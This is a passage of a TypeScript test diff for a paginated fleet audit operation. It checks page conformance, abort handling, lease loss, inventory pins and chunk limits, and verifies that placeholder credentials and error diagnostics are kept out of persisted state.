+  it('findings page: the reader verifies page conformance instead of trusting the store, refuses a final page accounting for fewer rows than findingCount, accepts the two other port-permitted shapes — a non-final page shorter than the limit, and an arbitrary permutation — and returns the next cursor off the page rows', async () => {
+    const control = baseRecord('control29');
+    const missingA = baseRecord('missing29a');
+    const missingB = baseRecord('missing29b');
+    const records = [control, missingA, missingB];
+    const harness = buildHarness(records, inventoryFor([control]), {
+      auditClock: () => AUDIT_NOW + STALE_AFTER_MS + 60_001,
+    });
+    const operationId = uuidFor(90);
+    const complete = await startAndDrive(harness, operationId, records);
+    expect(complete.status).toBe('complete');
+
+    const conforming = await readFleetAuditFindingsPage(
+      harness.operationStore,
+      { operationId, limit: 1_000 },
+    );
+    expect(conforming.done).toBe(true);
+    expect(conforming.findings.length).toBe(5);
+    expect(conforming.nextAfterOrdinal).toBe(conforming.findings.length - 1);
+
+    const shapedPage = (
+      transform: (
+        rows: readonly FleetOperationStagedRow[],
+      ) => readonly FleetOperationStagedRow[],
+      done?: boolean,
+    ) =>
+      pageTransformingStore(harness.operationStore, async (readPage) => {
+        const rowsPage = await readPage();
+        return {
+          ...rowsPage,
+          rows: transform(rowsPage.rows),
+          done: done ?? rowsPage.done,
+        };
+      });
+    const malformedMessage = 'fleet operation state is malformed';
+
+    await expect(
+      readFleetAuditFindingsPage(
+        shapedPage(() => [], false),
+        {
+          operationId,
+          limit: 1_000,
+        },
+      ),
+    ).rejects.toThrow(malformedMessage);
+
+    await expect(
+      readFleetAuditFindingsPage(
+        shapedPage((rows) => rows.filter((row) => row.ordinal !== 1)),
+        { operationId, limit: 1_000 },
+      ),
+    ).rejects.toThrow(malformedMessage);
+
+    await expect(
+      readFleetAuditFindingsPage(
+        shapedPage((rows) => [...rows.slice(0, -1), ...rows.slice(0, 1)]),
+        { operationId, limit: 1_000 },
+      ),
+    ).rejects.toThrow(malformedMessage);
+
+    await expect(
+      readFleetAuditFindingsPage(
+        shapedPage((rows) => rows.filter((row) => row.ordinal !== 0)),
+        { operationId, limit: 1_000 },
+      ),
+    ).rejects.toThrow(malformedMessage);
+
+    await expect(
+      readFleetAuditFindingsPage(
+        shapedPage((rows) =>
+          rows.map((row) => ({ ...row, ordinal: row.ordinal - 1 })),
+        ),
+        { operationId, afterOrdinal: 0, limit: 1_000 },
+      ),
+    ).rejects.toThrow(malformedMessage);
+
+    const shortNonFinal = await readFleetAuditFindingsPage(
+      shapedPage((rows) => rows.slice(0, 1), false),
+      { operationId, limit: 1_000 },
+    );
+    expect(shortNonFinal.done).toBe(false);
+    expect(shortNonFinal.findings).toEqual(conforming.findings.slice(0, 1));
+    expect(shortNonFinal.nextAfterOrdinal).toBe(0);
+
+    await expect(
+      readFleetAuditFindingsPage(
+        shapedPage((rows) => rows.slice(0, 1), true),
+        {
+          operationId,
+          limit: 1_000,
+        },
+      ),
+    ).rejects.toThrow(malformedMessage);
+
+    await expect(
+      readFleetAuditFindingsPage(
+        shapedPage(() => [], true),
+        {
+          operationId,
+          limit: 1_000,
+        },
+      ),
+    ).rejects.toThrow(malformedMessage);
+
+    await expect(
+      readFleetAuditFindingsPage(
+        shapedPage((rows) => [...rows.slice(1), ...rows.slice(0, 1)]),
+        { operationId, limit: 1_000 },
+      ),
+    ).resolves.toEqual(conforming);
+
+    const emptyHarness = buildHarness([], emptyInventory());
+    const emptyOperationId = uuidFor(91);
+    const emptyRun = await startAndDrive(emptyHarness, emptyOperationId, []);
+    expect(emptyRun.status).toBe('complete');
+    const emptyPage = await readFleetAuditFindingsPage(
+      emptyHarness.operationStore,
+      { operationId: emptyOperationId, limit: 10 },
+    );
+    expect(emptyPage.findings).toEqual([]);
+    expect(emptyPage.done).toBe(true);
+    expect(emptyPage).not.toHaveProperty('nextAfterOrdinal');
+  });
+
+  it('second-world drain-vs-bounded equivalence over one frozen clock', async () => {
+    const control = baseRecord('control2');
+    const missing = baseRecord('missing2');
+    const routeDup = baseRecord('routedup2');
+    const records = [control, missing, routeDup];
+    const inventory = inventoryFor([control, routeDup]);
+    // `missing` is absent from `inventory.deployments` entirely ->
+    // missing-deployment (global stage); its per-record call exits at its
+    // own `!inventoryDeployment` guard before ever reaching `inspect`.
+    // A live deployment entry that owns no record at all -> orphan-deployment.
+    inventory.deployments.push({
+      backend: 'plain-worker',
+      scriptName: 'ghost-orphan-script2',
+      tenantTag: 'ghost-tenant2',
+      environment: ENVIRONMENT,
+      databaseIds: ['db-ghost2'],
+      durableObjectBindings: [],
+      secretNames: [],
+      plainTextBindings: {},
+      routeHostnames: [],
+      artifactVersion: 'v1',
+      schemaVersion: 1,
+    });
+    // A second route sharing `routeDup`'s hostname under a different script.
+    inventory.routes.push(
+      cleanRoute(routeDup, { scriptName: 'route-dup-ghost2' }),
+    );
+
+    // Both paths read one frozen clock; the equivalence holds only over that.
+    const harness = buildHarness(records, inventory, {
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => AUDIT_NOW,
+    });
+
+    const drainFindings = await drainWith(harness);
+
+    const operationId = uuidFor(32);
+    const result = await startAndDrive(harness, operationId, records);
+    expect(result.status).toBe('complete');
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 1_000,
+    });
+    // Provider-supplied findings seed identically; the rest is order-preserving.
+    expect(page.findings).toEqual(drainFindings);
+  });
+
+  it('the six sanitized template families carry no String(error) or duty.lastError bytes', async () => {
+    const backendFailure = baseRecord('backendfailure');
+    const specFailure = baseRecord('specfailure');
+    const secretFailure = baseRecord('secretfailure');
+    const inspectionFailure = baseRecord('inspectionfailure');
+    const rearmFailure = baseRecord('rearmfailure');
+    const dutyFailure = baseRecord('dutyfailure');
+    const records = [
+      backendFailure,
+      specFailure,
+      secretFailure,
+      inspectionFailure,
+      rearmFailure,
+      dutyFailure,
+    ];
+    const inventory = inventoryFor(records);
+    const harness = buildHarness(records, inventory, {
+      throwBackendFor: new Set(['backendfailure']),
+      throwSpecFor: new Set(['specfailure']),
+      throwSecretFor: new Set(['secretfailure']),
+      throwOnInspect: new Set(['inspectionfailure']),
+      throwOnEnsureMaintenance: new Set(['rearmfailure']),
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => AUDIT_NOW,
+    });
+    harness.liveByTenant.set(
+      'rearmfailure',
+      cleanLiveDeployment(rearmFailure, { maintenance: UNARMED_MAINTENANCE }),
+    );
+    const dutyLastAttemptAt = AUDIT_NOW - 1_000;
+    const dutyLastError = 'duty lastError diagnostic bytes';
+    harness.liveByTenant.set(
+      'dutyfailure',
+      cleanLiveDeployment(dutyFailure, {
+        maintenance: {
+          ...HEALTHY_MAINTENANCE,
+          lastSweepAttemptAt: dutyLastAttemptAt,
+          lastSweepError: dutyLastError,
+        },
+      }),
+    );
+    const operationId = uuidFor(33);
+    const terminal = await startAndDrive(harness, operationId, records);
+    expect(terminal.status).toBe('complete');
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    const expectedFamilies = [
+      ['backendfailure', 'audit-error', 'backend resolver failed'],
+      ['specfailure', 'audit-error', 'spec resolver failed'],
+      ['secretfailure', 'audit-error', 'maintenance secret resolver failed'],
+      ['inspectionfailure', 'audit-error', 'inspection failed'],
+      ['rearmfailure', 'audit-error', 'maintenance re-arm failed'],
+      [
+        'dutyfailure',
+        'maintenance-stale',
+        `sweep last attempt failed at ${dutyLastAttemptAt}`,
+      ],
+    ] as const;
+    for (const [tenantTag, kind, detail] of expectedFamilies) {
+      expect(
+        page.findings.find(
+          (finding) => finding.tenantTag === tenantTag && finding.kind === kind,
+        )?.detail,
+      ).toBe(detail);
+    }
+    const durableRows = JSON.stringify([
+      ...harness.operationStore.rows.values(),
+    ]);
+    for (const diagnostic of [
+      'backend resolver blew up',
+      'spec resolver blew up',
+      'secret resolver blew up',
+      'inspection blew up',
+      'maintenance re-arm blew up',
+      dutyLastError,
+    ]) {
+      expect(durableRows).not.toContain(diagnostic);
+    }
+  });
+
+  it('maxItemsPerCall chunk atomicity, pinning the namespace interleave BOTH within one record and across records sharing a namespace', async () => {
+    const shared = 'ns-atomic-shared';
+    const withinRecord = baseRecord('atomicwithin', {
+      durableObjectBindings: [
+        { name: 'A', className: 'Runner', namespaceId: shared },
+        {
+          name: 'B',
+          className: 'Runner',
+          namespaceId: 'ns-atomicwithin-missing',
+        },
+      ],
+    });
+    const acrossRecord = baseRecord('atomicacross', {
+      durableObjectBindings: [
+        { name: 'A', className: 'Runner', namespaceId: shared },
+        {
+          name: 'B',
+          className: 'Runner',
+          namespaceId: 'ns-atomicacross-missing',
+        },
+      ],
+    });
+    const records = [withinRecord, acrossRecord];
+    const inventory = inventoryFor(records);
+    inventory.namespaceIds = [shared];
+    const harness = buildHarness(records, inventory, {
+      maxItemsPerCall: 1,
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => AUDIT_NOW,
+    });
+    const drainFindings = await drainWith(harness);
+    const operationId = uuidFor(34);
+    await startAndDrive(harness, operationId, records);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    expect(page.findings).toEqual(drainFindings);
+    const missing = page.findings.filter(
+      (finding) => finding.kind === 'missing-namespace',
+    );
+    expect(missing.length).toBe(2);
+  });
+
+  it('an empty fleet finalizes zero findings', async () => {
+    const harness = buildHarness([], emptyInventory());
+    const operationId = uuidFor(35);
+    const result = await startAndDrive(harness, operationId, []);
+    expect(result.status).toBe('complete');
+    if (result.status === 'complete') {
+      expect(result.result.findingCount).toBe(0);
+    }
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 10,
+    });
+    expect(page.findings).toEqual([]);
+  });
+
+  it('empty iteration sources advance', async () => {
+    const harness = buildHarness([], emptyInventory());
+    const operationId = uuidFor(36);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    let token = expectPendingToken(started);
+    const stages: string[] = [];
+    for (let i = 0; i < 20; i++) {
+      const result = await advanceFleetAudit(
+        harness.baseOptions({ kind: 'continue', token }),
+      );
+      if (result.status !== 'pending') {
+        expect(result.status).toBe('complete');
+        break;
+      }
+      stages.push(result.stage.step);
+      token = result.token;
+    }
+    expect(stages).toEqual([
+      'registration-orphans',
+      'deployment-orphans',
+      'deployment-gaps',
+      'orphan-databases',
+      'orphan-routes',
+      'namespace-orphans',
+      'namespace-expectations',
+      'r2-expected',
+      'r2-orphans',
+      'r2-missing-identity',
+      'per-record',
+      'finalize',
+    ]);
+  });
+
+  it('lost commitProgress converges with the revision discriminator', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(37);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    const startedToken = expectPendingToken(started);
+
+    // The start path catches commit failures and reads back durable progress.
+    const lostResponse = new Error(
+      'fleet operation store lost the commitProgress response',
+    );
+    harness.operationStore.loseNextSuccessfulCommitProgressResponse =
+      lostResponse;
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({ kind: 'continue', token: startedToken }),
+      ),
+    ).rejects.toBe(lostResponse);
+
+    const persisted =
+      await harness.operationStore.readOperationById(operationId);
+    expect(persisted?.state).toBe('running');
+    const persistedProgress = fleetAuditProgressFromUnknown(
+      persisted?.progress,
+    );
+    expect(persistedProgress.revision).toBe(startedToken.revision + 1);
+    expect(
+      harness.inventoryStore.releasedPins.some(
+        (pin) => pin.pinnedBy === `fleet-audit:${operationId}`,
+      ),
+    ).toBe(false);
+
+    const rowsBeforeRetry = structuredClone([...harness.operationStore.rows]);
+    const retried = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: startedToken }),
+    );
+    expect(retried).toEqual({
+      status: 'pending',
+      token: {
+        ...startedToken,
+        revision: persistedProgress.revision,
+      },
+      stage: persistedProgress.stage,
+    });
+    expect([...harness.operationStore.rows]).toEqual(rowsBeforeRetry);
+  });
+
+  it('the abort signal is call-local and never persisted', async () => {
+    const alice = baseRecord('alice');
+    const controller = new AbortController();
+    const harness = buildHarness([alice], inventoryFor([alice]), {
+      signal: controller.signal,
+    });
+    const operationId = uuidFor(38);
+    const result = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    const persisted =
+      await harness.operationStore.readOperationById(operationId);
+    expect(JSON.stringify(persisted)).not.toContain('signal');
+    expect(result.status).toBe('pending');
+
+    const abortReason = new Error('fleet audit aborted by the caller');
+    const abortedController = new AbortController();
+    abortedController.abort(abortReason);
+    const abortedHarness = buildHarness([alice], inventoryFor([alice]), {
+      signal: abortedController.signal,
+    });
+    await expect(
+      advanceFleetAudit(
+        abortedHarness.baseOptions({
+          kind: 'start',
+          operationId: uuidFor(39),
+          records: [alice],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+      ),
+    ).rejects.toBe(abortReason);
+    expectZeroHarnessWork(abortedHarness);
+  });
+
+  it("the abort signal is re-checked INSIDE a per-record call: an abort landing after the fact-row read refuses with the caller's own reason, does no provider work, and leaves the operation running at its revision", async () => {
+    const alice = baseRecord('midrecordabort');
+    const controller = new AbortController();
+    const harness = buildHarness([alice], inventoryFor([alice]), {
+      signal: controller.signal,
+    });
+    const operationId = uuidFor(92);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    const atPerRecord = await driveToStage(
+      harness,
+      expectPendingToken(started),
+      'per-record',
+    );
+
+    // The fact read places the abort after the entry check.
+    const abortReason = new Error('fleet audit aborted mid per-record call');
+    const readOperationRowsPage = harness.operationStore.readOperationRowsPage;
+    harness.operationStore.readOperationRowsPage = async (
+      input: RowsPageInput,
+    ) => {
+      const page = await readOperationRowsPage.call(
+        harness.operationStore,
+        input,
+      );
+      if (input.rowKind === 'fact') controller.abort(abortReason);
+      return page;
+    };
+
+    const opsBefore = [...harness.opsLog];
+    const fleetOpsBefore = [...harness.fleetStore.ops];
+    const factReadsBefore =
+      harness.operationStore.rowPageReadCounts.get('fact') ?? 0;
+    const rowsBefore = structuredClone([...harness.operationStore.rows]);
+    const persistedBefore = fleetAuditProgressFromUnknown(
+      (await harness.operationStore.readOperationById(operationId))?.progress,
+    );
+    try {
+      await expect(
+        advanceFleetAudit(
+          harness.baseOptions({ kind: 'continue', token: atPerRecord.token }),
+        ),
+      ).rejects.toBe(abortReason);
+    } finally {
+      harness.operationStore.readOperationRowsPage = readOperationRowsPage;
+    }
+
+    expect(
+      harness.operationStore.rowPageReadCounts.get('fact') ?? 0,
+    ).toBeGreaterThan(factReadsBefore);
+    expect(harness.opsLog).toEqual(opsBefore);
+    expect(harness.fleetStore.ops).toEqual(fleetOpsBefore);
+    expect([...harness.operationStore.rows]).toEqual(rowsBefore);
+    const persistedAfter =
+      await harness.operationStore.readOperationById(operationId);
+    expect(persistedAfter?.state).toBe('running');
+    expect(fleetAuditProgressFromUnknown(persistedAfter?.progress)).toEqual(
+      persistedBefore,
+    );
+    expect(harness.inventoryStore.releasedPins).toEqual([]);
+  });
+
+  it('byte scan: no secret value, Authorization bytes, or bearer token outside record rows', async () => {
+    const alice = baseRecord('bytescan');
+    const records = [alice];
+    const inventory = inventoryFor(records);
+    const harness = buildHarness(records, inventory);
+    harness.secretByTenant.set(
+      'bytescan',
+      'Bearer super-secret-credential-value',
+    );
+    const leakMarker = 'leaked-provider-header';
+    const sweepError = `Authorization: Bearer ${leakMarker}`;
+    harness.liveByTenant.set(
+      'bytescan',
+      cleanLiveDeployment(alice, {
+        maintenance: {
+          ...HEALTHY_MAINTENANCE,
+          lastSweepAttemptAt: AUDIT_NOW - 1_000,
+          lastSweepError: sweepError,
+        },
+      }),
+    );
+    const operationId = uuidFor(40);
+    await startAndDrive(harness, operationId, records);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    const maintenanceFinding = page.findings.find(
+      (finding) =>
+        finding.tenantTag === 'bytescan' &&
+        finding.kind === 'maintenance-stale',
+    );
+    expect(maintenanceFinding).toBeDefined();
+    expect(maintenanceFinding?.detail).toContain(
+      `sweep last attempt failed at ${AUDIT_NOW - 1_000}`,
+    );
+    const expectNoSensitiveBytes = (value: unknown): void => {
+      const text = JSON.stringify(value).toLowerCase();
+      expect(text).not.toContain('bearer');
+      expect(text).not.toContain('authorization');
+      expect(text).not.toContain('super-secret-credential-value');
+      expect(text).not.toContain(leakMarker);
+    };
+    for (const [key, rows] of harness.operationStore.rows) {
+      const [, rowKind] = key.split(':');
+      if (rowKind === 'record') continue;
+      for (const row of rows) {
+        expectNoSensitiveBytes(row.payload);
+      }
+    }
+    const run = await harness.operationStore.readOperationById(operationId);
+    expectNoSensitiveBytes(run);
+    expectNoSensitiveBytes(run?.progress);
+    expectNoSensitiveBytes([...harness.operationStore.operations]);
+    expectNoSensitiveBytes([...harness.operationStore.intakeDigests]);
+    expectNoSensitiveBytes([...harness.operationStore.heads]);
+  });
+
+  it('a hostile provider-sourced detail persists the withheld fallback; the drain is unaffected', async () => {
+    const hostileScriptName = 'bearer-tainted-script';
+    const ghost = baseRecord('ghosthostile');
+    const records = [ghost];
+    const inventory = inventoryFor(records);
+    inventory.deployments.push({
+      backend: 'plain-worker',
+      scriptName: hostileScriptName,
+      tenantTag: 'ghost-hostile-owner',
+      environment: ENVIRONMENT,
+      databaseIds: [],
+      durableObjectBindings: [],
+      secretNames: [],
+      plainTextBindings: {},
+      routeHostnames: [],
+      artifactVersion: 'v1',
+      schemaVersion: 1,
+    });
+    const harness = buildHarness(records, inventory, {
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => AUDIT_NOW,
+    });
+    const operationId = uuidFor(41);
+    await startAndDrive(harness, operationId, records);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    const orphan = page.findings.find(
+      (finding) =>
+        finding.kind === 'orphan-deployment' &&
+        finding.tenantTag === 'ghost-hostile-owner',
+    );
+    expect(orphan?.detail).toBe(
+      "finding detail withheld: unsafe bytes (kind 'orphan-deployment')",
+    );
+
+    const drainFindings = await drainWith(harness);
+    const drainOrphan = drainFindings.find(
+      (finding) =>
+        finding.kind === 'orphan-deployment' &&
+        finding.tenantTag === 'ghost-hostile-owner',
+    );
+    expect(drainOrphan?.detail).toContain(hostileScriptName);
+  });
+
+  it('concurrent-mutation drift (class (c), both halves): a migration Fleet mutation trips the reread refusal while a Fleet-silent ready-path step does not; and a provider-truth mutation between audit start and the bounded per-record call yields the drifted inspection finding, asserted against what a start-time drain produced', async () => {
+    const drifted = baseRecord('driftmaint');
+    const silent = baseRecord('silentmaint');
+    const providerDrifted = baseRecord('providerdrift');
+    const records = [drifted, silent, providerDrifted];
+    const inventory = inventoryFor(records);
+    const harness = buildHarness(records, inventory, {
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => AUDIT_NOW,
+    });
+    harness.liveByTenant.set(
+      'driftmaint',
+      cleanLiveDeployment(drifted, { maintenance: UNARMED_MAINTENANCE }),
+    );
+    harness.liveByTenant.set(
+      'silentmaint',
+      cleanLiveDeployment(silent, { maintenance: UNARMED_MAINTENANCE }),
+    );
+    const startTimeDrainFindings = await drainWith(harness);
+    const operationId = uuidFor(42);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records,
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    // A migration mutates the drifted record's Fleet row between the frozen
+    // snapshot and its per-record call, tripping the reread refusal.
+    harness.fleetStore.records.set('driftmaint:production', {
+      ...drifted,
+      updatedAt: new Date(AUDIT_NOW + 1).toISOString(),
+    });
+    harness.liveByTenant.set(
+      'providerdrift',
+      cleanLiveDeployment(providerDrifted, {
+        databaseId: 'db-providerdrift-mutated',
+      }),
+    );
+    const completed = await driveToTerminal(harness, started.token);
+    expect(completed.status).toBe('complete');
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 200,
+    });
+    const rearmFailures = page.findings.filter(
+      (finding) =>
+        finding.kind === 'audit-error' &&
+        finding.detail === 'maintenance re-arm failed',
+    );
+    expect(
+      rearmFailures.some((finding) => finding.tenantTag === 'driftmaint'),
+    ).toBe(true);
+    expect(
+      rearmFailures.some((finding) => finding.tenantTag === 'silentmaint'),
+    ).toBe(false);
+    const staleFindings = page.findings.filter(
+      (finding) => finding.kind === 'maintenance-stale',
+    );
+    expect(
+      staleFindings.some((finding) => finding.tenantTag === 'silentmaint'),
+    ).toBe(true);
+    expect(
+      page.findings.some(
+        (finding) =>
+          finding.tenantTag === 'providerdrift' &&
+          finding.kind === 'database-mismatch',
+      ),
+    ).toBe(true);
+    expect(
+      startTimeDrainFindings.some(
+        (finding) =>
+          finding.tenantTag === 'providerdrift' &&
+          finding.kind === 'database-mismatch',
+      ),
+    ).toBe(false);
+  });
+
+  it('maxItemsPerCall range refusal (0 and 2,001 refused with the fixed message; 1 and 2,000 accepted; default 500 observed)', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    await expect(
+      advanceFleetAudit({
+        ...harness.baseOptions({
+          kind: 'start',
+          operationId: uuidFor(43),
+          records: [alice],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+        maxItemsPerCall: 0,
+      }),
+    ).rejects.toThrow('maxItemsPerCall must be an integer from 1 to 2000');
+    await expect(
+      advanceFleetAudit({
+        ...harness.baseOptions({
+          kind: 'start',
+          operationId: uuidFor(44),
+          records: [alice],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+        maxItemsPerCall: 2_001,
+      }),
+    ).rejects.toThrow('maxItemsPerCall must be an integer from 1 to 2000');
+    const acceptedMin = await advanceFleetAudit({
+      ...harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(45),
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+      maxItemsPerCall: 1,
+    });
+    expect(acceptedMin.status).toBe('pending');
+    const maxHarness = buildHarness([alice], inventoryFor([alice]));
+    const acceptedMax = await advanceFleetAudit({
+      ...maxHarness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(46),
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+      maxItemsPerCall: 2_000,
+    });
+    expect(acceptedMax.status).toBe('pending');
+
+    // Default 500 observed: 501 script registrations need two calls at the
+    // registration-orphans stage under the default, but would need only one
+    // under an explicit 2,000.
+    const manyRegistrations = Array.from({ length: 501 }, (_, i) => ({
+      scriptName: `ghost-script-${i}`,
+      tenantTag: `ghost-tenant-${i}`,
+      environment: ENVIRONMENT,
+      databaseId: `db-ghost-${i}`,
+      routeHostname: `ghost-${i}.example.test`,
+    }));
+    const bigInventory = {
+      ...emptyInventory(),
+      scriptRegistrations: manyRegistrations,
+    };
+    const defaultHarness = buildHarness([], bigInventory);
+    const started = await advanceFleetAudit(
+      defaultHarness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(47),
+        records: [],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    // First continue: the empty `provider-findings` stage advances immediately.
+    const afterProviderFindings = await advanceFleetAudit(
+      defaultHarness.baseOptions({ kind: 'continue', token: started.token }),
+    );
+    expect(afterProviderFindings.status).toBe('pending');
+    if (afterProviderFindings.status !== 'pending')
+      throw new Error('unreachable');
+    expect(afterProviderFindings.stage).toEqual({
+      step: 'registration-orphans',
+      rowOrdinal: 0,
+    });
+    // Second continue: one `registration-orphans` chunk under the default.
+    const afterOneChunk = await advanceFleetAudit(
+      defaultHarness.baseOptions({
+        kind: 'continue',
+        token: afterProviderFindings.token,
+      }),
+    );
+    expect(afterOneChunk.status).toBe('pending');
+    if (afterOneChunk.status === 'pending') {
+      expect(afterOneChunk.stage).toEqual({
+        step: 'registration-orphans',
+        rowOrdinal: 500,
+      });
+    }
+  });
+
+  it('audit kind-lease loss at the dispatch boundary aborts with zero resolver, generation, and provider work', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(48);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    harness.operationStore.loseLeaseKind = 'audit';
+    const opsBefore = harness.opsLog.length;
+    const readsBefore = generationReadCounts(harness.inventoryStore);
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({ kind: 'continue', token: started.token }),
+      ),
+    ).rejects.toThrow(/no longer owned by this operation/);
+    expect(harness.opsLog.length).toBe(opsBefore);
+    expect(generationReadCounts(harness.inventoryStore)).toEqual(readsBefore);
+  });
+
+  it('the pin is STILL HELD after finalizeOperation; only GC, terminal failure, or abandonment releases it', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(49);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    const result = await driveToTerminal(harness, started.token);
+    expect(result.status).toBe('complete');
+    expect(
+      harness.inventoryStore.pins.some(
+        (pin) =>
+          pin.pinnedBy === `fleet-audit:${operationId}` && pin.generation === 1,
+      ),
+    ).toBe(true);
+    expect(
+      harness.inventoryStore.releasedPins.some(
+        (pin) => pin.pinnedBy === `fleet-audit:${operationId}`,
+      ),
+    ).toBe(false);
+    const releasesBeforeStaleContinue =
+      harness.inventoryStore.releasedPins.length;
+    const staleComplete = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: started.token }),
+    );
+    expect(staleComplete).toStrictEqual(result);
+    expect(harness.inventoryStore.releasedPins).toHaveLength(
+      releasesBeforeStaleContinue,
+    );
+    // R4-A: “prune releases the audit pin FIRST; the crash window leaves an unpinned terminal operation the next call deletes”.
+  });
+
+  it("a multi-duty maintenance-stale finding (≥2 failing duties + the not-armed marker, raw bytes mid-string, including an empty-string lastError producing legacy's trailing ': ') persists the templates-only joined detail with no lastError bytes anywhere; the drain emits legacyDetails[i] byte-identically", async () => {
+    const record = baseRecord('multiduty', { updatedAt: FRESH_UPDATED_AT });
+    const records = [record];
+    const inventory = inventoryFor(records);
+    const harness = buildHarness(records, inventory, {
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => AUDIT_NOW,
+    });
+    const liveMaintenance: MaintenanceHealth = {
+      armed: false,
+      nextAlarmAt: null,
+      lastSweepAt: null,
+      lastSweepAttemptAt: AUDIT_NOW - 1_000,
+      lastSweepError: 'Bearer super-secret-token',
+      lastPurgeAt: null,
+      lastPurgeAttemptAt: AUDIT_NOW - 2_000,
+      lastPurgeError: '',
+    };
+    harness.liveByTenant.set(
+      'multiduty',
+      cleanLiveDeployment(record, { maintenance: liveMaintenance }),
+    );
+    const operationId = uuidFor(50);
+    await startAndDrive(harness, operationId, records);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    const finding = page.findings.find((f) => f.kind === 'maintenance-stale');
+    expect(finding?.detail).toBe(
+      `maintenance scheduler is not armed; sweep last attempt failed at ${AUDIT_NOW - 1_000}; purge last attempt failed at ${AUDIT_NOW - 2_000}`,
+    );
+
+    const drainFindings = await drainWith(harness);
+    const drainFinding = drainFindings.find(
+      (f) => f.kind === 'maintenance-stale',
+    );
+    expect(drainFinding?.detail).toBe(
+      `maintenance scheduler is not armed; sweep last attempt failed at ${AUDIT_NOW - 1_000}: Bearer super-secret-token; purge last attempt failed at ${AUDIT_NOW - 2_000}: `,
+    );
+  });
+
+  it("adoption race: a start whose probe saw ABSENT but whose startOperation returned adopted-running pins the RETURNED record's progress.generation, never the locally resolved one", async () => {
+    const alice = baseRecord('alice');
+    const losingAuditTimeMs = AUDIT_NOW + 12_345;
+    const harness = buildHarness([alice], inventoryFor([alice]), {
+      auditClock: () => losingAuditTimeMs,
+    });
+    harness.inventoryStore.registerFinalizedGeneration(
+      2,
+      inventoryFor([alice]),
+    );
+    harness.inventoryStore.registerFinalizedGeneration(
+      3,
+      inventoryFor([alice]),
+    );
+    const operationId = uuidFor(51);
+
+    // Simulate a concurrent winner that already started under generation 2.
+    const winnerRunRecord: FleetOperationRunRecord = {
+      version: 1,
+      operationId,
+      kind: 'audit',
+      state: 'running',
+      progress: {
+        kind: 'audit',
+        revision: 0,
+        stage: { step: 'provider-findings', rowOrdinal: 0 },
+        generation: 2,
+        auditTimeMs: AUDIT_NOW,
+        staleAfterMs: STALE_AFTER_MS,
+        recordCount: 1,
+        findingCount: 0,
+        factCount: 0,
+      } as unknown as FleetOperationRunRecord['progress'],
+      updatedAt: new Date(AUDIT_NOW).toISOString(),
+    };
+    const matchingIntake = fleetOperationItemsIntake({
+      envelope: { staleAfterMs: STALE_AFTER_MS, generation: null },
+      items: [alice],
+      itemByteBound: FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+    });
+    expect('digest' in matchingIntake).toBe(true);
+    if (!('digest' in matchingIntake)) throw new Error('unreachable');
